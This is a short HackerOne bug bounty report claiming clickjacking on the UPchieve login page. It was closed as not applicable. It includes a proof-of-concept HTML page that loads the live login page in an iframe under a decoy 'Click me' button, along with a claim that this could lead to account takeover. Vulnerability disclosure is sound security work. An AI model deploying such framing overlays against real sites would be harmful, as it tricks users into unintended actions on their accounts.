Clickjacking ar https://hackers.upchieve.org/login
Low
Vulnerability Details
I found clickjacking at login page on https://hackers.upchieve.org that can be exploited if the UI overlay can be performed correctly by the attacker.
```<html>
<head>
<title>Clickjack test page</title>
</head>
<body>
<p>Website is vulnerable to clickjacking!</p>
<iframe src="https://hackers.upchieve.org/login" width="1000" height="550"></iframe>
<div style="height: 30px;width: 130px;left: 53%;bottom: 39%;background: #789;" class="xss"><button>Click me when you finish :)</button></div>
</body>
</body>
</html>```
## Impact
Its login page so if the UI overlay can be performed correctly by the attacker, this can lead to account takeover.
Actions
View on HackerOneReport Stats
- Report ID: 1400405
- State: Closed
- Substate: not-applicable
- Upvotes: 2